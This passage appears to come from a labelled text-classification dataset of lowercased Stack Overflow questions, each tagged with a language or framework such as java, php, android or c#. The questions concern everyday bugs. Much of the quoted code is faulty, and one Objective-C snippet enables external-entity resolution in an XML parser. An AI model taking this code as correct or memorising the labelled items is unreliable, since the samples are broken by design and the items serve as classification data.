encoding:nsutf8stringencoding];         nslog(@ the final result 1--- :%@  thexml1);            nsarray * jsonarr1 =[nsjsonserialization jsonobjectwithdata:[thexml1 datausingencoding:nsutf8stringencoding] options:0 error:nil];         nslog(@ print array :%@  jsonarr1);         for (nsdictionary * d in jsonarr1)         {             if ([d objectforkey:@ sh ]!=[nsnull null])             {                 [picker1 reloadallcomponents];                 self.shapestring=[nsstring stringwithformat:@ %@  [d objectforkey:@ shp ]];                 nslog(@ pvalue for :%@  self.shapestring);                 [_custompickerarrayshap addobject:self.shapestring];                 nslog(@ pvalue after array fill:%d  _custompickerarrayshap.count);                 [picker1 reloadallcomponents];                 nslog(@ array for shape%@  _custompickerarrayshap);              }          if(xmlparser1)         {          }         xmlparser1 = [[nsxmlparser alloc] initwithdata: resshap];         [xmlparser1 setdelegate:self];         [xmlparser1 setshouldresolveexternalentities:yes];         [xmlparser1 parse];         //[thexml release];     }     }     -(void) parser:(nsxmlparser *) parser didstartelement:(nsstring *) elementname namespaceuri:(nsstring *) namespaceuri qualifiedname:(nsstring *) qname attributes:(nsdictionary *)attributedict {         if( [elementname isequaltostring:@ showresult ])         {             if (!soapresults1)             {                 soapresults1 = [[nsmutablestring alloc] init];             }             elementfound1 = yes;         }     }     -(void)parser:(nsxmlparser *) parser foundcharacters:(nsstring *)string     {         if (elementfound1)         {             [soapresults1 appendstring: string];              nsarray * jsonarr1 =[nsjsonserialization jsonobjectwithdata:[string datausingencoding:nsutf8stringencoding] options:0 error:nil];             nslog(@ print array :%@  jsonarr1);             for (nsdictionary * d in jsonarr1)             {                 if ([d objectforkey:@ sh ]!=[nsnull null])                 {                 [picker1 reloadallcomponents];                     self.shapestring=[nsstring stringwithformat:@ %@  [d objectforkey:@ sh ]];                    [picker1 reloadallcomponents];                 }                 else                 {self.shapestring=@  ;                                 }             }         }             i        }         }       -(void)parser:(nsxmlparser *)parser     didendelement:(nsstring *)elementname      namespaceuri:(nsstring *)namespaceuri     qualifiedname:(nsstring *)qname     {         if ([elementname isequaltostring:@ showresult ])         {                       [soapresults1 setstring:@  ];             elementfound1 = false;         }     }     - (int)numberofcomponentsinpickerview:(uipickerview *)pickerview     {             return 1;         }     - (int)pickerview:(uipickerview *)pickerview numberofrowsincomponent:(nsinteger)component     {             return array.count;      }     - (nsstring*)pickerview:(uipickerview *)pickerview titleforrow:(nsinteger)row forcomponent:(nsinteger)component     {             return _array[row];      }     -(void)pickerview:(uipickerview *)pickerview didselectrow:(nsinteger)row incomponent:(nsinteger)component     {            [self.array objectatindex:row];       } </code></pre>   error is:   <blockquote>    terminating app due to uncaught exception  nsrangeexception   reason:  *** -[__nsarraym objectatindex:]: index 0 beyond bounds for empty array   </blockquote>   in my ios application programming i m getting soap response from server then parse soap response in array and assign array to pickerview  then nothing is add in uipickerview and following error occure and application is crashed.even response come from server is ok and also add in array.here i m getting response from server than assign it to an array.response also valid getting from server not null.,objective-c
how to solve uninitialized local variable used  <pre><code>#include &lt;stdio.h&gt;  int main() {     int x;  int counter;     while (scanf_s( %d   &amp;x) != 0)     {         puts( enter the a signed number :  );         if (x % 2 == 0) { counter=counter++; }     }     printf(  %d pair numbers   counter); } </code></pre>   i get   <blockquote>    uninitialized local variable counter used.  </blockquote>   the program is supposed to keep asking for numbers until it gets zero and tells us the amount of pairs given.,c
first 64 bits of the fractional part of the square root of 2 <pre><code> double i=math.sqrt(2);  double fpart=i-(long)i;   string s=string.valueof(fpart);  s=s.substring(2  s.length()-1);   long b=long.parselong(s);  system.out.println(long.tobinarystring(b));   system.out.println(long.tobinarystring(b).substring(0  63)); </code></pre>   i m getting stringindexoutofboundsexception as the strig is only 52 bits long. but  i want the first 64 bits of the fractional part of the square root of 2.,java
how distribute dynamically array buttons into layout  i m trying to add dynamically created buttons in a (gridview/linearlayout/tablelayout) i don t know wich of them to use. each button has different width. here is an example what i m pretending to do:    <strong>actors:</strong>   <blockquote>    [button: richard gere]  [button: bla bla bla bla] [button: secondary   actor bob] <br/>   [button: ricardo montoya]  </blockquote>   <strong>genre:</strong>   <blockquote>    [button: drama] [button: comedia]  </blockquote>   <strong>cinemas:</strong>   <blockquote>    [button: cinema paradiso]  [button: cinema 2] [button: cinema 3] <br/>   [button: cinema 4] .... [button: cinema n]  </blockquote>   how can i distribute them dinamically  thank you in advance.,android
math and operator behavior <pre><code>$id = $_get[ id ]; $oldprice = $_session[ price ][$id-=1]; </code></pre>   this works but unfortunately now <code>$id</code> whenever referenced is one less than it should be where i need it.    i ve tried <code>$modified_id = $id-=1;</code> to try and keep the original <code>$id</code> variable and create a new  modified  variable with the value of <code>$id</code> minus 1 but it all seems to have the same effect of modifying the original. what am i doing wrong     thanks.,php
drag & drop between two listbox without add or remove button in asp.net  i have created one web page. in that i have used two listboxes. now i want to drag an item from one listbox and drop the same item in another listbox. and also want to rearange the items without any help of buttons or any other controls.    can anyone help me in this problem.,asp.net
vb.net add basket logic  hi guys am new to vb.net  i am working on application that needs shopping basket  can anyone help me how to add product details in basket and is will carry to the new page  is it with the help of session,.net
how to evaluate expression in view  in my following code i am creating an <code>html table</code> with <code>table headers as first  second  third</code> and than <code>row for each student</code>.     depending upon score  i need to put <code>x</code> in cell under relevant column header. <strong>example</strong>   <pre><code>if score 10 than put x under first if score 9 than put x under second if score 8 than put x under third </code></pre>   can i re-write<code>&lt;td&gt;{{score.position}}&lt;/td&gt;</code> based on above requirement as following.   <pre><code>e.g.   &lt;td&gt;{{score.position}} == 10   x :   &lt;/td&gt; &lt;td&gt;{{score.position}} == 9   x :   &lt;/td&gt; </code></pre>   <strong>code:</strong>   <pre><code>   &lt;table&gt;         &lt;thead&gt;             &lt;tr&gt;                 &lt;td&gt;&lt;/td&gt;                 &lt;td&gt;first&lt;/td&gt;                 &lt;td&gt;second&lt;/td&gt;                 &lt;td&gt;tbhird&lt;/td&gt;             &lt;/tr&gt;         &lt;/thead&gt;         &lt;tbody&gt;             &lt;tr data-ng-repeat= student in students &gt;                 &lt;td&gt;{{student.name}}&lt;/td&gt;                 &lt;td&gt;{{score.position}}&lt;/td&gt;             &lt;/tr&gt;         &lt;/tbody&gt;     &lt;/table&gt; </code></pre>,angularjs
overloading comparison operators  i m having trouble overloading the comparison operators <code>&gt;</code> and <code>&lt;</code>. i ve tried two different ways but i m still having trouble.   <pre><code>bool car::operator ==(const car &amp;car) {     return mlnumber == car.getnum(); }  bool car::operator &lt;(const car &amp;carb) {     return mlnumber &lt; carb.getnum();  } bool car::operator &gt;(const car &amp;carb) {     return mlnumber &gt; carb.getnum();  } int car::getnum() {     return mlnumber; } </code></pre>   my <code>==</code> operator works just fine. i get the error that these operators don t exist. here is my 2nd attempt.   <pre><code>bool car::operator &lt;(const car &amp;cara  const car &amp;carb) {     return cara.getnum() &lt; carb.getnum();  } bool car::operator &gt;(const car &amp;carb) {     return cara.getnum() &gt; carb.getnum();  } </code></pre>   and i get the error that there are too many parameters. i also get this:   <pre><code> car::getnum  : cannot convert  this  pointer from  const car  to  car &amp;   </code></pre>,c++
how to change a widget s color at runtime   i m trying to change the color of a widget using another class. but i can t find the layout that i m trying to change because this layout is in another xml file. the widget layout have a linearlayout that uses a shape.xml as background. i ve tried a lot of things but nothing worked.    here s the myshape.xml:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;shape xmlns:android= http://schemas.android.com/apk/res/android  android:shape= rectangle  &gt; &lt;solid android:color= #ddf5f5f5  /&gt;  &lt;stroke android:width= 2dp  android:color= #ffffffff  /&gt;  &lt;corners android:bottomleftradius= 7dp  android:bottomrightradius= 7dp  android:topleftradius= 7dp  android:toprightradius= 7dp  /&gt; &lt;/shape&gt; </code></pre>   and this is what the class do when i click on the change collor button:   <pre><code>public void onclick(view v) {  layoutinflater inflater = (layoutinflater)getapplicationcontext().getsystemservice(getapplicationcontext().layout_inflater_service); linearlayout myroot = new linearlayout(getapplicationcontext()); view itemview = inflater.inflate(r.layout.widget_layout  myroot); linearlayout linear = (linearlayout) itemview.findviewbyid(r.id.layout);  gradientdrawable sd = (gradientdrawable) linear.getbackground().mutate(); sd.setcolor(picker.getcolor()); } </code></pre>   the class widgetcolorpicker uses the layout  widget_color.xml  and the linearlayout that i want to change is on the  widget_layout.xml .,android
how to set two values for windowsoftinputmode   is it possible yo set two values for <code>windowsoftinputmode</code> to be <code>adjustresize</code> and <code>adjustpan</code>,android
reducing complexity of following code  what i wanted to do was to search in a list and remove a value .    so i wrote the following code   <pre><code>for x in range(10):    if x in list1:       list1.remove(x) </code></pre>   does this function of order ~ (n^2) since first it looks for the value and then it deletes and pushes the rest of the values backwards       also is there a way to turn this in order n by using try/except   <pre><code>try:   for x in range(10):     list1.remove(x) except valueerror:   # make it go back to next iteration  </code></pre>,python
jquery not working for special character  <   while we entering special character eg. <code>&lt;</code> without having spacing  enter any character like <code> &lt;test </code> in text boxes  jquery not works for client side button event. is there any solution s to allow to fire the event  even user enter such type of word <code> &lt;test </code>.    example:    if user entered <code> &lt;xyz </code> and try to click on save button. its not worked for same.    if user entered <code> &lt; xyz </code> then its work properly.    (exact scenario like  if user entered like        need proper solution for this.,jquery
can i have multiple site.master files in asp.net - webforms  i need to create a site that is duplicate to the mail site but in a sub-folder. the subsite will have a slightly different header.     wondering if it is possible to have 2 seperate site.master files.,asp.net
mysql block selecting/reading a specific row  i am developing a call center ivr system with heavy traffic. i want to give each caller a random free representative to chat with.    what i do now is:   <pre><code>select admin from admins where live = 1 and available = 1 order by rand() limit 1 </code></pre>   after i get the free representative  i update him to be unavailable as so:   <pre><code>update admins set available = 0 where admin = xxx </code></pre>   after testing this  i noticed than caller sometimes end up with the same representative at the same time if they call at almost the same time.    i have tried adding  for update  to the select query  but it s not really helping with locking the row for select.    any idea how can this problem be approached,mysql
store from list string to another array list  i have a txt file like this which contains longitude and latitude coords:   <pre><code>120.12    22.233 100    23.12 98     19.12 </code></pre>   if i want to read the file  i am doing:   <pre><code>list&lt;string&gt; lines = files.readalllines(paths.get(filename)); system.out.println( line:   + lines.get(0)); </code></pre>   and it gives me :  <code>120    22</code>    i have a class that reads latitude and longitude:   <pre><code>public class gispoints {      private double lat;     private double lon;      public gispoints() {     }      public gispoints(double lat  double lon) {        super();        this.lat = lat;        this.lon = lon;     }      //getters and setters } </code></pre>   i want to store all the values from the txt file into an <code>list&lt;gispoints&gt;</code>.    so  i want a function in order to load file:   <pre><code>public static list&lt;gispoints&gt; loaddata(string filename) throws ioexception {        list&lt;string&gt; lines = files.readalllines(paths.get(filename));        list&lt;gispoints&gt; points = new arraylist&lt;gispoints&gt;();        //for (int i = 0; i &lt; lines.size(); i++) {       // }        return points;    } </code></pre>   as i said  right now i am just reading every line  for example <code>lines[0] = 120   22</code>    i want to store lines[0] longitude into points[0].setlon()  lines[0] latitude into points[0].setlat().,java
"consistent navigation box for every page  (html)  i ve been working on making a personal site with a navigation bar. i read w3schools  article and used the code there to make my nav. there are some problems with this  however:    <ul> <li>the same code needs to be copied and pasted on each page. </li> <li>if i decide to add a new page  i have to add the navigation bar to the new page and add the new page s link to the navigation bar on every page. </li> <li>if i find an error in the nav code  i have to fix it on each individual page. </li> </ul>   here s the code:     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>html {
   color: blue;
   font-family: sans-serif;
 }
 
 .resource-dropdown {
   position: sticky;
   display: inline-block;
 }
 
 .resource-dropdown-content {
   display: none;
   position: absolute;
   background-color: #b51d1d;
   min-width: 160px;
   box-shadow: 0px 8px 16px 0px rgba(0  0  0  0.2);
   padding: 12px 16px;
   z-index: 1;
 }
 
 .resource-dropdown:hover .resource-dropdown-content {
   display: block;
 }
 
 .resource-dropdown-content:hover {
   color: greenyellow;
 }
 
 .topnav {
   background-color: black;
 }
 
 .topnav a {
   float: left;
   color: #f2f2f2;
   text-align: center;
   padding: 14px 16px;
   text-decoration: none;
   font-size: 17px;
 }
 
 .topnav a:hover {
   background-color: white;
   color: black;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= topnav &gt;
   &lt;a href= index.html &gt;home&lt;/a&gt;
   &lt;div class= resource-dropdown &gt;
     &lt;span&gt;&lt;a&gt;resources&lt;/a&gt;&lt;/span&gt;
     &lt;div class= resource-dropdown-content &gt;
       &lt;p&gt;&lt;a href= sites.html &gt;sites&lt;/a&gt;&lt;/p&gt;
       &lt;p&gt;&lt;a href= books.html &gt;books&lt;/a&gt;&lt;/p&gt;
       &lt;p&gt;&lt;a href= vids.html &gt;videos&lt;/a&gt;&lt;/p&gt;
       &lt;p&gt;&lt;a href= etc.html &gt;other&lt;/a&gt;&lt;/p&gt;
     &lt;/div&gt;
   &lt;/div&gt;
   &lt;a href= about.html &gt;about&lt;/a&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     is there a way to make a shortcut  (something like the alias command in the c languages)",html
how can i delete all child rows and the parents in a dataset   so  i have a <code>datarelation</code> as is shown below:    <pre><code>oraciones1 = new datarelation( antecedentes           dspubs.tables[ consecuente ].columns[ id ]          dspubs.tables[ antecedentes ].columns[ id ]);         dspubs.relations.add(oraciones1); </code></pre>   where  <code>dspubs</code>  is  <code>dspubs = new dataset()</code> and that dataset has two tables which both have a data relation. then; i am iterating over the parents  to get the childs  just to get some task done as is shown next:    <pre><code>foreach (datarow rowauthor in dspubs.tables[ consecuente ].rows) {                  foreach (datarow rowtitle in rowauthor.getchildrows(oraciones1)) {      } } </code></pre>   and what i want to do is to remove all  the child and the parent from an a  specified value  which is passed through a function(i.e).   <pre><code>public void function(string value ){   foreach (datarow rowauthor in dspubs.tables[ consecuente ].rows){                           foreach (datarow rowtitle in rowauthor.getchildrows(oraciones1){                          if(value==rowtitle[ id_d ].tostring()){                           //remove all the child and the parent from the specified variable  value                            }                      }                 }  } </code></pre>   i tried to get it done by using <code>rowtitle.delete() and rowauthor.delete() method</code> but it seemed to not be working  because  i think it removes the whole table  and a the time the foreach wanted to continue to grab another value from the table <code> consecuente </code> it crashed.  thank you a lot!!,c#
why is only the last object s function getting called here   wow. i finally figured about what is causing the bug  but i can t figure out why. i have an object with a property (excuse the massive code dump)   <pre><code>    // relatives second indices in the video to events      // that are called when the video reaches that second     this.pausepoints = [         {             sec: 10              name:  point number 1               passed: false              func: (function(that) {                  this.$layer = that.getlayerelement(10);                 this.$layer.hide();                  this.to = function () {                     that.videlem.pause(); // pause video                     $(window).resize(); // re-proportion stuff                     // point the 3 mouse pointers                     var $mptrs = this.$layer.find( .filmstrip-pointer );                     for (var i = 0; i &lt; $mptrs.length; ++i) {                         (function (j) {                             settimeout(function () {                                 point($mptrs.eq(j));                             }  j * 1000);                         })(i);                     }                 };                    // attach click event to 3 sections                 $clickregions = $layer.find( div.click-region );                 $clickregions.click(function(){                     $clickregions.removeclass( clicked );                     $(this).addclass( clicked );                 });                  this.away = function () {                     this.$layer.hide();                 }                  // attach event to next button                  $layer.find( .next-btn ).click(function(){                     this.away();                     that.videlem.play();                 }.bind(this));                  return this;              })(this)         }          {             sec: 26              name:  point number 2               passed: false              func: (function(that) {                  this.$layer = that.getlayerelement(26);                 this.$layer.hide();                  this.to = function () {                      // loop video between 0:26-0:31                     this.loop = setinterval(function () {                         that.videlem.currenttime = 26;                         that.videlem.play();                     }  5000);                      // point the 3 mouse pointers                     var $mptrs = this.$layer.find( .filmstrip-pointer );                     for (var i = 0; i &lt; $mptrs.length; ++i) {                         (function (j) {                             settimeout(function () {                                 point($mptrs.eq(j));                             }  j * 1000);                         })(i);                     }                      this.$layer.show();                  }                   // separate pargraph words by spans                 this.$layer.find( p ).each(function () {                     var spanned = $(this).text().split(   ).map(function (w) { return  &lt;span class= word &gt;  + w +  &lt;/span&gt; ; }).join(   );                     $(this).html(spanned);                 });                  // add event click event on headlines                  var timeouts = [];                 this.$layer.find( h3 ).click(function () {                     // clear any current  showing  animations                     timeouts.foreach(function(t){ cleartimeout(t); });                     timeouts = [];                     // unshow all words on the slide                     this.$layer.find( span.word ).removeclass( shown );                     // show all words associated with the headline that was clicked                     var $wspans = $(this).closest( .tower-layer ).find( span.word );                     for ( var i = 0; i &lt; $wspans.length; ++i )                     {                         (function(j){                             timeouts.push(settimeout(function(){                                 $wspans.eq(j).addclass( shown );                             } j*100));                         })(i);                     }                 }.bind(this));                  this.away = function () {                     clearinterval(this.loop);                     this.$layer.find( span.word ).removeclass( shown );                     $layer.hide();                     that.videlem.currenttime = 31;//go to end of loop                 };                  // set action of  next  button                 this.$layer.find( .next-btn ).click(function () {                     this.away();                     that.videlem.play();                 }.bind(this));                  return this;              })(this)         }          {            sec: 38             name:  point number 3              passed: false             func: (function(that) {                 this.$layer = that.getlayerelement(38);                this.$layer.hide();                 this.to = function ( ) {                    // loop video between 0:38-0:43                    this.loop = setinterval(function () {                        that.videlem.currenttime = 38;                        that.videlem.play();                    }  5000);                     this.$layer.show();                }                 this.away = function(){                    clearinterval(this.loop);                    this.$layer.hide();                };                 this.$layer.find( .next-btn ).click(function(){                    that.videlem.currenttime = 43;                    this.away();                    that.videlem.play();                }.bind(this));                 return this;             })(this)         }          {             sec: 47              name:  point number 4               passed: false              func: (function(that){                  this.$layer = that.getlayerelement(47);                 this.$layer.hide();                  this.to = function ()                  {                     // loop video between 0:47-0:52                     this.loop = setinterval(function() {                         that.videlem.currenttime = 47;                         that.videlem.play();                     }  5000);                     // show layer                     this.$layer.show();                 }                  this.away = function () {                     clearinterval(this.loop);                     this.$layer.hide();                 };                  this.$layer.find( .next-btn ).click(function () {                     that.videlem.currenttime = 52;                     this.away();                     that.videlem.play();                 }.bind(this));                  return this;              })(this)         }          {             sec: 57              name:  point number 5               passed: false              func: (function(that){                  this.$layer = that.getlayerelement(57);                 // hide initially                 this.$layer.hide();                  this.to = function ()                  {                     // loop video between 0:57-1:02                     this.loop = setinterval(function () {                         that.videlem.currenttime = 57;                         that.videlem.play();                     }  5000);                      this.$layer.show();                 }                  this.away = function(){                     clearinterval(this.loop);                     $layer.hide();                 };                  this.$layer.find( .next-btn ).click(function () {                     that.videlem.currenttime = 62;                     this.away();                     that.videlem.play();                 }.bind(this));                  return this;              })(this)         }     ]; </code></pre>   and what i m noticing is that when i try to call any of the <code>to</code> functions it always calls the one in the last element of the array.     for example     <pre><code>vidhandler.pausepoints[0].func.to()  </code></pre>   calls   <pre><code>                this.to = function ()                  {                     // loop video between 0:57-1:02                     this.loop = setinterval(function () {                         that.videlem.currenttime = 57;                         that.videlem.play();                     }  5000);                      this.$layer.show();                 } </code></pre>   instead of the expected   <pre><code>                this.to = function () {                     that.videlem.pause(); // pause video                     $(window).resize(); // re-proportion stuff                     // point the 3 mouse pointers                     var $mptrs = this.$layer.find( .filmstrip-pointer );                     for (var i = 0; i &lt; $mptrs.length; ++i) {                         (function (j) {                             settimeout(function () {                                 point($mptrs.eq(j));                             }  j * 1000);                         })(i);                     }                 }; </code></pre>   why is this happening and how can i fix it,javascript
how to fetch data according with dropdown selected values in angularjs ng-options   here itemoptions having all the details of items  i want to to use ng-repeat instaed of ng-options. and i have to fetch that corresponding selected value details in text area  is it possible    <pre><code>&lt;tr ng-repeat= items in estimateitem &gt;     &lt;td&gt;         &lt;select class= form-control item-left  name= itemname  aria-label= itemname  ng-options= options.item_sn as options.item_sn for options in itemoptions track by options.item_sn  ng-model= items.item_id &gt;             &lt;option value=   disabled&gt;select&lt;/option&gt;         &lt;/select&gt;     &lt;/td&gt;     &lt;td&gt;         &lt;textarea class= form-control item-left  type= text  name= description  placeholder= description  aria-label= description &gt;             {{items.item_desc = items.item_id.item_desc}}         &lt;/textarea&gt;     &lt;/td&gt; &lt;/tr&gt; </code></pre>,angularjs
how i can redirect php page with 2 variables  i am redirecting php page with following      <pre><code>&lt;a href= invoice_details.php ppid= .$row[ sno ].  .. </code></pre>   but i want to redirect the same with some another condition can this be done   <pre><code>&lt;a href= invoice_details.php ppid= .$row[ sno ].  and  invoice_details.php pinv= .$row[ invno ].   </code></pre>,php
error importing framework on iphone 5s  i ve added an external framework to my project. it builds on simulator(s) just fine (iphone simulator 3.5 inch  iphone simulator 4 inch  iphone simulator 4 inch(64-bit)). i ve tried to build it for my iphone 5s and it gives me  <strong>lexical or preprocessor issue libname/headername.h file not found.</strong> .     i ve successfully built the project without the framework previously - which makes me think it s not about the project settings. and i ve also used this framework in other projects - which makes me think it s not about the framework. any thoughts,ios
minor issues with scrolling nav bar  so i have some code here that is to snap a navigation bar to the top of the screen  and i have two minor issues with it.    the first is that it does not work for ie9  and the second is that when scrolling via holding down a click on the scrollbar  when it reaches the point where the action is to occur  it snaps the scrollbar to the top of the screen and locks it until you unclick.   <pre><code>$(window).on( scroll   function() {     if (!docked &amp;&amp; init &lt; body.scrolltop() ) {         nav_menu.addclass( docked ).css({             top: 0              position:  fixed          });         docked = true;     }     else if (docked &amp;&amp; body.scrolltop() &lt;= init) {         nav_menu.removeclass( docked ).css({             position:  absolute               top: init +  px          });         docked = false;     } }); </code></pre>   this is an adaptation of the code used on the <a href= http://lesscss.org  rel= nofollow >less</a> page for jquery  so i d guess that it has something to do with how jquery handles the functions  but it has me curious.    edit:  here is the relevant html   <pre><code>    &lt;header&gt;         &lt;section id= top-picture &gt;&lt;img alt= logo  src= img/top.png  /&gt;&lt;/section&gt;         &lt;nav id= nav-menu &gt;             &lt;ul&gt;                 &lt;li&gt;&lt;a href= index.php &gt;home&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a href= about.php &gt;about&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a href= artists.php &gt;artists&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a href= artwork.php &gt;artwork&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a href= music.php &gt;music&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a href= download.php &gt;download&lt;/a&gt;&lt;/li&gt;             &lt;/ul&gt;             &lt;ul&gt;             &lt;!-- social media section                 facebook like button --&gt;                 &lt;li&gt;&lt;div class= fb-like  data-href= urlhere  data-send= false  data-layout= button_count                   data-width= 90  data-show-faces= false &gt;&lt;/div&gt;&lt;/li&gt;                 &lt;!-- tweet button --&gt;                 &lt;li&gt;&lt;a href= https://twitter.com/share  class= twitter-share-button  data-lang= en  data-count= horizontal                   data-url= urlhere  data-via= user  data-related= user  data-text= text &gt;tweet&lt;/a&gt;&lt;/li&gt;             &lt;/ul&gt;         &lt;/nav&gt;     &lt;/header&gt; </code></pre>   here is the full relevant js   <pre><code>jquery(document).ready(function($){     var nav_menu = $( #nav-menu );     var body = $( body );     var init = nav_menu.position().top;     var docked = false;      $(window).on( scroll   function() {         if (!docked &amp;&amp; init &lt; body.scrolltop() ) {             nav_menu.addclass( docked ).css({                 top: 0                  position:  fixed              });             docked = true;         }         else if (docked &amp;&amp; body.scrolltop() &lt;= init) {             nav_menu.removeclass( docked ).css({                 position:  absolute                   top: init +  px              });             docked = false;         }     }); }); </code></pre>   and here is the relevant css  which uses less and bootstrap:   <pre><code>@import  colors ; // importing preset color list @import  bootstrap ;  @linkcolor: lighten(@maroon  5%);  /* structure */  body {   background: @black;   z-index: 1; }  section#top-picture {   img {     display: block;     margin-left: auto;     margin-right: auto;   }   z-index: 300; }  header {   nav#nav-menu {     background: @black;     position: absolute;     top: 176px;     width: 100%;     border: 1px inset lighten(@black  30%);     box-shadow: 0 0 15px 5px @white inset;     -moz-box-shadow:  0 0 15px 0px @white inset;     -webkit-box-shadow:  0 0 15px 0px @white inset;     z-index: 500;     ul {       list-style-type: none;       text-align: center;       li {         display: inline;       }       &amp;:first-child {         padding-top: 1%;         li {           padding: 2.5%;           a {             .anchor-button;             .btn-large;             font-weight: bold;             text-transform: uppercase;             text-decoration: none;           }         }       }       &amp;:last-child {         li {           margin: 0 5%;         }       }     }   } } </code></pre>   there is a picture located above the navbar  which is at section#top-picture.,jquery
finding objects in an array (custom objects with properties)  i am trying to find out if there is a better way to do what i am doing here.    i built a customcolumn object that has some properties like id and title  etc...     ie.  my cuscolum = new acolumn( 321    todds column );    then put all of those columns into an array - so this array holds objects and not simple values.    so i am doing this to find a particular object in my array:   <pre><code>var len = columnobjects.length;     for (var i = 0; i &lt; len; i++) {         if (columnobjects[i].colid == id) {             columnobjects.splice(i  1);             break;         }       </code></pre>   the splice is just one thing i am doing with these objects... i would love to be able to use the indexof function but dont know how i would write it or if it is even possible ...,javascript
rails - view template - insert <br> within erb tag  i would like to insert html <code>&lt;br&gt;</code> tag within the link_to erb tag as show below:   <pre><code>&lt;%= link_to((@name +  &lt;br&gt;  + @surname)  my_action_path %&gt; </code></pre>   what would be the correct way of doing this,ruby-on-rails
why they created a timeout  if u add this to web.config  then if a page have gone through long process  the client will not have a timeout exception.   <pre><code>&lt;httpruntime maxrequestlength= 1024000  executiontimeout= 36000 /&gt; </code></pre>   they are timing out things for a purpose  what is it   i tried to create a website with two  pages i make a button in default1.aspx wait for 5 minutes. the other page requesting is not affected by that.    thanks,asp.net
have a certain time be stopping condition of an inner infinite loop  the script below works. i have tried to comment what is going on  and also what i want to change. instead of relying on pressing a button on the piface input/ouput board for the raspberry pi  i want it to be a certain time (i.e. 5:00 pm ) every time the loop ends and proceeds to write the file.    i ve posted something similar to this before  but i don t believe i did a good job of being clear in my intentions. to my knowledge  cron would not work for something like this.    this will be running on a raspberry pi  so not a whole lot of computing power there  but it will be the only thing running on it. i want to use this to collect data  once per day. the code follows:    edit: i will be adding a rtc to the pi. pretty sure all that does is just keep the correct time and not really change anything else..   <pre><code># run infinite while(true):      # stopping condition  change to true to exit the next infinite loop   done = false;      #     # main program     #    while(not done):        # go through the list of each button and see if each is pressed     for element in range(8) :        #code       #continuously check if a button is pressed on piface       #do things       #count how long they were pressed      #stopping condition as of right now     #when the 7th input on piface is hit it ends the loop       if (pfio.digital_read(7) == 1) :           done = true      #this works great  except for that i want it to automatically continue       #with the script and write the results to a file once every       #24 hours     #makes sure that my file doesnt overwrite itself if i hold the button down    while(pfio.digital_read(7)==1):     pass     outputfile = open( lights.csv    w )   for i in range(len(button_array)):           #convert the button s time_on variable to a string and append a comma and newline.         outputfile.write(str(button_array[i].total_time_on) +   \n )    outputfile.close() </code></pre>,python
including images to html  i m trying to upload a particular image on my html. the image is in the same folder  the html file is also in the same folder. however  it still doesn t show me the image when i access the image on html. the code for the image tag in html is:   <pre><code>&lt;img src= layout.jpg  alt= layout &gt; </code></pre>   thanks in advance.,html
an array for set of label tags  i know it is possible to create an array to store the values of a set of text-boxes.    <pre><code>&lt;input name= arrfirstrowheading[]  value= a &gt;&lt;/input&gt; &lt;input name= arrfirstrowheading[]  value= b &gt;&lt;/input&gt; </code></pre>   but is it possible to create an array like this for a set of  tags   <pre><code>&lt;label name= arrfirstrowheading[]   style= background-color:#d0a9f5; &gt;a&lt;/label&gt;; &lt;label name= arrfirstrowheading[]   style= background-color:#d0a9f5; &gt;b&lt;/label&gt;; &lt;label name= arrfirstrowheading[]   style= background-color:#d0a9f5; &gt;c&lt;/label&gt;; </code></pre>   the case is i m getting these values a b c in labels from a form. as it is entered it should be shown in a php file. thats only to see the format of the form. later im sending these values again to another php file to store them in a database. so instead of showing those a b c values in textboxes i need to show them as labels. but i need to send them back to the database. that s why i need them to name,html
how to create eclipse project via command line or similiar solution   first of all sorry for my bad english. i have a question and i cant find an answer anywhere. my programm exports some loose *.java files withouth any entrypoint. the written api allows an cmd to be executed. problem is  the cmd order to start eclipse with parameters. my questions is is it possible to start eclipse 3.3-3.6 with a command line parameter to create a project. creating a workspace through -data c:\xxxx\myworkspace is no problem but since eclipse sees no files outside a project  i need to make one so i can put my java files into it and startup an remote debug after it. the plan is to startup an external export java file  which starts eclipse with the defined workspace and a fresh project (with the exported java files) for usage.,java
why use an extension on config/database.yml   i m inheriting a project that uses <code>config/database.yml.sqlite</code> and <code>config/database.yml.psql</code> instead of <code>config/database.yml</code>.    why is this done and how should i use it      if i just run <code>rake db:create</code> rails is looking for a <code>config/database.yml</code>. i ve tried looking for a way to specify the name of the config file but no luck.    i could just ask the people i m inheriting the code from but after a bit of googling around i see this pattern in other projects and think that it d be nice if so had an answer.,ruby-on-rails
stop button click event on other button click  how to access two button click method if first button doing work when we click second button  i tried to access other button click event when first button click event is performing operation and i want to stop this execution and perform another operation,c#
concurrentdictionary remove() is not accessible  so i have this minimal example compiled with .net 4.7 :   <pre><code>class program {     static void main(string[] args)     {         idictionary&lt;int  string&gt; dic = new concurrentdictionary&lt;int  string&gt;();         concurrentdictionary&lt;int  string&gt; samedic = (concurrentdictionary&lt;int  string&gt;) dic;          dic.add(1   hold );         dic.add(2   position );          dic.remove(1); // ok          samedic.remove(2); // not even compiling !!      } } </code></pre>  <ul> <li>is it safe then to call <code>dic.remove(1)</code>   </li> <li>how can i reproduce the same behaviour knowing that the following code is not accepted by the compiler  </li> </ul>   code :    <pre><code>public interface ifoo {     void b(); }  public class bar : ifoo {     private void b() // not allowed      {     } } </code></pre>,c#
